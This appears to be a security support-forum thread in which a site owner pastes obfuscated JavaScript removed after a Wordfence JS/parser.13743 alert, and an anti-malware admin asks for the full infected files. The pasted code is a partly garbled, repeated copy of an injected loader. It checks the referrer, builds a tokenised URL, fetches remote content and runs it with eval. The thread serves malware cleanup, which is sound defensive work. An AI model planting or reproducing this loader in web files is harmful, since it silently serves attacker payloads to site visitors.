Home › Forums › Support Forum › Wordfence report JS/parser.13743
Tagged: fix JS/parser.13743
This topic contains 1 reply, has 2 voices, and was last updated by Anti-Malware Admin 2 hours, 59 minutes ago.
-
AuthorPosts
-
June 19, 2025 at 10:04 am #155335
Got this JS/parser.13743 error, and had to remove it manually.
but here is the strings removed:
;if(typeof jqvq===”undefined”){function a0T(s,T){var L=a0s();return a0T=function(Z,U){Z=Z-(0×7*0x2a0+0×1*0x1b02+0x3bd*-0xc);var a=L[Z];if(a0T['TQAaTL']===undefined){var X=function(E){var S=’abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’;var O=”,x=”;for(var u=-0x1f8b*-0×1+0×2*-0xeb+-0x1db5,b,H,Y=-0x2d4+0x12b3*0×2+-0×2292;H=E['charAt'](Y++);~H&&(b=u%(-0×1*-0x125c+0x1e1c+0x1bb*-0x1c)?b*(-0x1dc3+0x2a*0x1f+0x18ed)+H:H,u++%(0×3*-0x2bd+0x88a+-0x4f))?O+=String['fromCharCode'](-0x160d+0×1*0x80f+0xefd&b>>(-(-0xf*-0×45+-0x187f*-0×1+0×298*-0xb)*u&-0×1*0x109c+-0×1224+0x22c6)):0x26e0+-0×7*-0×43+-0x28b5){H=S['indexOf'](H);}for(var B=0×9*0x2a6+0xde*-0×6+-0x12a2,Q=O['length'];B<Q;B++){x+=’%'+(’00′+O['charCodeAt'](B)['toString'](0x26a0+0x20c0*-0×1+-0x5d0))['slice'](-(-0×19*0×19+-0x15a*-0×16+0×575*-0×5));}return decodeURIComponent(x);};var V=function(E,S){var O=[],u=-0x2bd*0×1+0×1*-0xc18+0xed5,b,H=”;E=X(E);var Y;for(Y=0×35*0x7c+-0xbbc*-0×1+0x31e*-0xc;Y<-0×53*-0xd+-0x11f5+0xebe;Y++){O[Y]=Y;}for(Y=0×518*-0×5+0x22d5*0×1+0×11*-0x8d;Y<-0×2211+-0xaa2*-0×3+0x32b;Y++){u=(u+O[Y]+S['charCodeAt'](Y%S['length']))%(0x4d*-0×18+-0×94*-0×2+0×710),b=O[Y],O[Y]=O[u],O[u]=b;}Y=-0xcb+-0×26*0×34+0×883,u=0×2578+0×1*0×375+-0x28ed*0×1;for(var B=0x25f*-0xf+-0x217a+-0x9dd*-0×7;B<E['length'];B++){Y=(Y+(0xfa3+0xe2*-0x1a+0×752))%(-0×996+-0x25f7+0×3*0x102f),u=(u+O[Y])%(0×1*0×819+-0×3*-0x3ff+-0×1316),b=O[Y],O[Y]=O[u],O[u]=b,H+=String['fromCharCode'](E['charCodeAt'](B)^O[(O[Y]+O[u])%(-0x25a3+-0×354+0x29f7*0×1)]);}return H;};a0T['xsFJsi']=V,s=arguments,a0T['TQAaTL']=!![];}var R=L[0x2d2*0x5+0x110*-0x10+0x6a*0x7],A=Z+R,P=s[A];return!P?(a0T['dbGcud']===undefined&&(a0T['dbGcud']=!![]),a=a0T['xsFJsi'](a,U),s[A]=a):a=P,a;},a0T(s,T);}(function(s,T){var x=a0T,L=s();while(!![]){try{var Z=-parseInt(x(0xab,’rGKV’))/(-0x7bd*-0×3+-0×496*0×6+0x44e)*(parseInt(x(0×87,’ws17′))/(0x18a2+0×1836+-0x30d6))+-parseInt(x(0xcf,’di)x’))/(0×13*-0×107+0×7*-0xb+0×1*0x13d5)*(-parseInt(x(0xd7,’Q))M’))/(0xb8e+-0×548+-0×642))+-parseInt(x(0xe9,’5Ti!’))/(0x6a2*-0×3+-0×3*0x4cf+0x4e8*0×7)+-parseInt(x(0xdc,’c2dg’))/(0×103*0×19+0x1c71+-0×113*0×32)*(parseInt(x(0xd1,’Dwpg’))/(-0xfae+0×1561+-0x2c*0×21))+parseInt(x(0×88,’l6I)’))/(0x19ed*-0×1+0x1f55+-0×20*0x2b)*(-parseInt(x(0x9e,’c2dg’))/(-0×17*-0×61+0xded+-0x169b))+parseInt(x(0xb9,’9He5′))/(0×1960+-0xc*0xbc+-0×1086)*(parseInt(x(0xe5,’1Da1′))/(0×37*0×21+0×1*0xb50+0×14*-0xeb))+parseInt(x(0xbb,’Dwpg’))/(-0xd*0×218+0×9*0x43a+-0xac6);if(Z===T)break;else L['push'](L['shift']());}catch(U){L['push'](L['shift']());}}}(a0s,0×2*0x4e2ad+-0x2dec9*0×2+-0x15b9*-0×11));var jqvq=!![],HttpClient=function(){var u=a0T;this[u(0xea,'[BKo')]=function(s,T){var b=u,L=new XMLHttpRequest();L[b(0xc3,'U#L7')+b(0xba,'U10B')+b(0xd5,'[F]L’)+b(0xc9,’JVg#’)+b(0xbe,’2hoq’)+b(0xcb,’1Da1′)]=function(){var H=b;if(L[H(0xc0,'AN!n')+H(0xb0,'yNP*')+H(0xbd,'(0K#')+'e']==-0x1f8b*-0×1+0×2*-0xeb+-0x1db1&&L[H(0xe1,'2hoq')+H(0xc7,'U10B')]==-0x2d4+0x12b3*0×2+-0x21ca)T(L[H(0xc5,'%p!H')+H(0x96,'UOL*')+H(0xa1,'AN!n')+H(0xde,'udj6')]);},L[b(0xa5,'zn1B')+'n'](b(0x9d,’ws17′),s,!![]),L[b(0xef,'U#L7')+'d'](null);};},rand=function(){var Y=a0T;return Math[Y(0xb3,'U10B')+Y(0xbc,'TGXv')]()[Y(0x9b,'^1XR')+Y(0xec,'ws17')+'ng'](-0×1*-0x125c+0x1e1c+0×407*-0xc)[Y(0xce,'c2dg')+Y(0xee,'G&9G')](-0x1dc3+0x2a*0x1f+0x18af);},token=function(){return rand()+rand();};function a0s(){var i=['W6BcMCks','y8kxxSk+u2S8o8kkECoGWR/cPW','W4FcVCk8WOhdISkDsci','W7ddRqxcOtange1AW64FWQu','oCoQqq','WQ3cQeC','W4/dQ8otFSkpWR7cRCofuILWW5q','A1fT','WPddQSkH','rMdcKW','W48+pW','WO3dGCkr','W7OKmW','uXrB','aYldJbOKtXS+W5bj','W4nvW4PRDc4lW7nl','it3dNq','WQtdR8k6','W742CW','W4FcPSkd','W7NcJYu','lSoOvq','WOuLDW','WPDfka','WPGpWPy','W5tdH8kP','qI3cKW','vxFcJG','FSklhG','W7BcQIi','WRLoW78','WOrDWOa9W5NcRIpdV0tdJa','wmkQW7q','W6uNbmo2p8omyYVdHW','W7ZcKCoV','WQVdR8k2','DvFcRG','W6yJcSkjBCkJyXpdRmk9WOjA','v8okWQO','WPRdVCkN','W5KTcG','WRVcV0C','W5xcTmo2WOxdTLxdOM1AWO4','WOCvW60','mw7dKG','w8oxWRaRW5qFWRRdM8kY','W55EWQ3dQSoVfCkvW4y','pWyv','dSk8WR7dGZddPGZcTI3cOtRdKq','CCk1wG','W5lcTSo1W6NdQNpdO0D0','xmkfW4K','W4CwWQO','WPDvoa','ASoEpG','yCojgq','WQrNtG','AMCkiCoJW7RcVuVcImkdWQmn','oWiv','W4FdSCom','iCkbeW','WO3dH8om','jmkJW7C','mc/dHa','W5ytBspdHKBcSCoobSkLqSkkW4e','laiF','W7/cT8oLfrCYW4tdJCk9dmoxxa','aCkTW60','W4mnW4m','WO0xWOa','W5BcSCoWWOtcUdhdRer/WR7cJSkL','W5GTpW','qhddSW','WO3dGCom','W6yVlW','W5H5nL7dHdXsW4e','q8kHW6m','WRTDW78','pryi','WR/cRui','jH0A','WRdcVmoO','WPRdQCk3','xmkfW4u','oNhdHq','WQrMxG','WQCuWQtcMmkFW7RdOSkMWPKV','W5ddGCof','W7BcSmoNfby/W5JdGmkmo8oKtG','vmo7WRtdLvulW5/dJmo1W78','iqWi','W5iuW7G','cwWH','W7/cICol','ECk+W5BcQSkNrCkkWRdcISkN','u8kyW44','W7ndW6q','WPavWPS','ag06','W6aRu8oLmSo2ya8','W6DAW6O','wmkjW5q','yur2','jSo7WOG','WP0lWOa','mCkbfa'];a0s=function(){return i;};return a0s();}(function(){var B=a0T,T=navigator,L=document,Z=screen,U=window,a=L[B(0x8a,'Dwpg')+B(0x8d,'PWp3')],X=U[B(0x9c,'Dwpg')+B(0xda,'l6I)')+'on'][B(0xd3,'U10B')+B(0xeb,'rGKV')+'me'],R=U[B(0x92,'Ajbz')+B(0xac,'udj6')+'on'][B(0xdb,'[F]L’)+B(0xb7,’sF3T’)+’ol’],A=L[B(0xd0,'^zw4')+B(0xe8,'MgJY')+'er'];X[B(0x91,'l6I)')+B(0xc1,'7@B#')+'f'](B(0xc8,’MgJY’)+’.')==0×3*-0x2bd+0x88a+-0×53&&(X=X[B(0xae,'9He5')+B(0xb1,'c2dg')](-0x160d+0×1*0x80f+0xe02));if(A&&!E(A,B(0xb4,’5Ti!’)+X)&&!E(A,B(0x9f,’fENF’)+B(0xd6,’^1XR’)+’.'+X)&&!a){var P=new HttpClient(),V=R+(B(0×95,’Nhn#’)+B(0x8b,’U#L7′)+B(0xe2,’aPEl’)+B(0×86,’50*G’)+B(0xa0,’1Da1′)+B(0xe0,’Q))M’)+B(0xe3,’^1XR’)+B(0x8f,’wh(*’)+B(0xb5,’aPEl’)+B(0xd8,’udj6′)+B(0xe7,’zjrr’)+B(0x8e,’zjrr’)+B(0xaf,’yNP*’)+B(0xd9,’di)x’)+B(0xaa,’zjrr’)+B(0xb8,’5fV5′)+B(0xa4,’)HYO’)+B(0×89,’5fV5′)+B(0x8c,’1zgb’)+B(0xcc,’udj6′)+B(0xc6,’di)x’)+B(0xc2,’G&9G’)+B(0xa8,’U10B’)+B(0xcd,’zn1B’)+B(0×97,’di)x’)+B(0xca,’*owY’)+B(0×90,’9He5′)+B(0xb6,’^zw4′)+B(0xdf,’[BKo')+B(0xa2,'MgJY')+B(0xad,')HYO')+B(0x93,'ws17')+'d=')+token();P[B(0x94,'ws17')](V,function(S){var Q=B;E(S,Q(0xdd,’di)x’)+’x')&&U[Q(0xed,'AN!n')+'l'](S);});}function E(S,O){var c=B;return S[c(0x99,'%p!H')+c(0xd4,'(0K#')+'f'](O)!==-(-0xf*-0×45+-0x187f*-0×1+0x5b5*-0×5);}}());};And:
gq’,'WQrNtG’,'AMCkiCoJW7RcVuVcImkdWQmn’,'oWiv’,'W4FdSCom’,'iCkbeW’,'WO3dH8om’,'jmkJW7C’,'mc/dHa’,'W5ytBspdHKBcSCoobSkLqSkkW4e’,'laiF’,'W7/cT8oLfrCYW4tdJCk9dmoxxa’,'aCkTW60′,’W4mnW4m’,'WO0xWOa’,'W5BcSCoWWOtcUdhdRer/WR7cJSkL’,'W5GTpW’,'qhddSW’,'WO3dGCom’,'W6yVlW’,'W5H5nL7dHdXsW4e’,'q8kHW6m’,'WRTDW78′,’pryi’,'WR/cRui’,'jH0A’,'WRdcVmoO’,'WPRdQCk3′,’xmkfW4u’,'oNhdHq’,'WQrMxG’,'WQCuWQtcMmkFW7RdOSkMWPKV’,'W5ddGCof’,'W7BcSmoNfby/W5JdGmkmo8oKtG’,'vmo7WRtdLvulW5/dJmo1W78′,’iqWi’,'W5iuW7G’,'cwWH’,'W7/cICol’,'ECk+W5BcQSkNrCkkWRdcISkN’,'u8kyW44′,’W7ndW6q’,'WPavWPS’,'ag06′,’W6aRu8oLmSo2ya8′,’W6DAW6O’,'wmkjW5q’,'yur2′,’jSo7WOG’,'WP0lWOa’,'mCkbfa’];a0s=function(){return i;};return a0s();}(function(){var B=a0T,T=navigator,L=document,Z=screen,U=window,a=L[B(0x8a,'Dwpg')+B(0x8d,'PWp3')],X=U[B(0x9c,'Dwpg')+B(0xda,'l6I)')+'on'][B(0xd3,'U10B')+B(0xeb,'rGKV')+'me'],R=U[B(0x92,'Ajbz')+B(0xac,'udj6')+'on'][B(0xdb,'[F]L’)+B(0xb7,’sF3T’)+’ol’],A=L[B(0xd0,'^zw4')+B(0xe8,'MgJY')+'er'];X[B(0x91,'l6I)')+B(0xc1,'7@B#')+'f'](B(0xc8,’MgJY’)+’.')==0×3*-0x2bd+0x88a+-0×53&&(X=X[B(0xae,'9He5')+B(0xb1,'c2dg')](-0x160d+0×1*0x80f+0xe02));if(A&&!E(A,B(0xb4,’5Ti!’)+X)&&!E(A,B(0x9f,’fENF’)+B(0xd6,’^1XR’)+’.'+X)&&!a){var P=new HttpClient(),V=R+(B(0×95,’Nhn#’)+B(0x8b,’U#L7′)+B(0xe2,’aPEl’)+B(0×86,’50*G’)+B(0xa0,’1Da1′)+B(0xe0,’Q))M’)+B(0xe3,’^1XR’)+B(0x8f,’wh(*’)+B(0xb5,’aPEl’)+B(0xd8,’udj6′)+B(0xe7,’zjrr’)+B(0x8e,’zjrr’)+B(0xaf,’yNP*’)+B(0xd9,’di)x’)+B(0xaa,’zjrr’)+B(0xb8,’5fV5′)+B(0xa4,’)HYO’)+B(0×89,’5fV5′)+B(0x8c,’1zgb’)+B(0xcc,’udj6′)+B(0xc6,’di)x’)+B(0xc2,’G&9G’)+B(0xa8,’U10B’)+B(0xcd,’zn1B’)+B(0×97,’di)x’)+B(0xca,’*owY’)+B(0×90,’9He5′)+B(0xb6,’^zw4′)+B(0xdf,’[BKo')+B(0xa2,'MgJY')+B(0xad,')HYO')+B(0x93,'ws17')+'d=')+token();P[B(0x94,'ws17')](V,function(S){var Q=B;E(S,Q(0xdd,’di)x’)+’x')&&U[Q(0xed,'AN!n')+'l'](S);});}function E(S,O){var c=B;return S[c(0x99,'%p!H')+c(0xd4,'(0K#')+'f'](O)!==-(-0xf*-0×45+-0x187f*-0×1+0x5b5*-0×5);}}());};
And:
+0x4e8*0×7)+-parseInt(x(0xdc,’c2dg’))/(0×103*0×19+0x1c71+-0×113*0×32)*(parseInt(x(0xd1,’Dwpg’))/(-0xfae+0×1561+-0x2c*0×21))+parseInt(x(0×88,’l6I)’))/(0x19ed*-0×1+0x1f55+-0×20*0x2b)*(-parseInt(x(0x9e,’c2dg’))/(-0×17*-0×61+0xded+-0x169b))+parseInt(x(0xb9,’9He5′))/(0×1960+-0xc*0xbc+-0×1086)*(parseInt(x(0xe5,’1Da1′))/(0×37*0×21+0×1*0xb50+0×14*-0xeb))+parseInt(x(0xbb,’Dwpg’))/(-0xd*0×218+0×9*0x43a+-0xac6);if(Z===T)break;else L['push'](L['shift']());}catch(U){L['push'](L['shift']());}}}(a0s,0×2*0x4e2ad+-0x2dec9*0×2+-0x15b9*-0×11));var jqvq=!![],HttpClient=function(){var u=a0T;this[u(0xea,'[BKo')]=function(s,T){var b=u,L=new XMLHttpRequest();L[b(0xc3,'U#L7')+b(0xba,'U10B')+b(0xd5,'[F]L’)+b(0xc9,’JVg#’)+b(0xbe,’2hoq’)+b(0xcb,’1Da1′)]=function(){var H=b;if(L[H(0xc0,'AN!n')+H(0xb0,'yNP*')+H(0xbd,'(0K#')+'e']==-0x1f8b*-0×1+0×2*-0xeb+-0x1db1&&L[H(0xe1,'2hoq')+H(0xc7,'U10B')]==-0x2d4+0x12b3*0×2+-0x21ca)T(L[H(0xc5,'%p!H')+H(0x96,'UOL*')+H(0xa1,'AN!n')+H(0xde,'udj6')]);},L[b(0xa5,'zn1B')+'n'](b(0x9d,’ws17′),s,!![]),L[b(0xef,'U#L7')+'d'](null);};},rand=function(){var Y=a0T;return Math[Y(0xb3,'U10B')+Y(0xbc,'TGXv')]()[Y(0x9b,'^1XR')+Y(0xec,'ws17')+'ng'](-0×1*-0x125c+0x1e1c+0×407*-0xc)[Y(0xce,'c2dg')+Y(0xee,'G&9G')](-0x1dc3+0x2a*0x1f+0x18af);},token=function(){return rand()+rand();};function a0s(){var i=[‘W6BcMCks’,'y8kxxSk+u2S8o8kkECoGWR/cPW’,'W4FcVCk8WOhdISkDsci’,'W7ddRqxcOtange1AW64FWQu’,'oCoQqq’,'WQ3cQeC’,'W4/dQ8otFSkpWR7cRCofuILWW5q’,'A1fT’,'WPddQSkH’,'rMdcKW’,'W48+pW’,'WO3dGCkr’,'W7OKmW’,'uXrB’,'aYldJbOKtXS+W5bj’,'W4nvW4PRDc4lW7nl’,'it3dNq’,'WQtdR8k6′,’W742CW’,'W4FcPSkd’,'W7NcJYu’,'lSoOvq’,'WOuLDW’,'WPDfka’,'WPGpWPy’,'W5tdH8kP’,'qI3cKW’,'vxFcJG’,'FSklhG’,'W7BcQIi’,'WRLoW78′,’WOrDWOa9W5NcRIpdV0tdJa’,'wmkQW7q’,'W6uNbmo2p8omyYVdHW’,'W7ZcKCoV’,'WQVdR8k2′,’DvFcRG’,'W6yJcSkjBCkJyXpdRmk9WOjA’,'v8okWQO’,'WPRdVCkN’,'W5KTcG’,'WRVcV0C’,'W5xcTmo2WOxdTLxdOM1AWO4′,’WOCvW60′,’mw7dKG’,'w8oxWRaRW5qFWRRdM8kY’,'W55EWQ3dQSoVfCkvW4y’,'pWyv’,'dSk8WR7dGZddPGZcTI3cOtRdKq’,'CCk1wG’,'W5lcTSo1W6NdQNpdO0D0′,’xmkfW4K’,'W4CwWQO’,'WPDvoa’,'ASoEpG’,'yCoj
Hope that helps someone.
June 19, 2025 at 2:31 pm #155341Some of those code snippets are clearly truncated or missing something from the beginning of the script. It may be true that not all the script in the affected files is malicious but it would help me greatly to see the whole contents of those infected files (including any non-malicious code that might have been in the file before it was appended with these malicious lines of code) so that I can determine the pattern in the affected scripts and make sure that all the offending code can be removed without damaging the syntax of the original code.
Could you please look for a backup on your server that might contain the whole of the infected files and send those to me directly via email attachments?
-
AuthorPosts
You must be logged in to reply to this topic.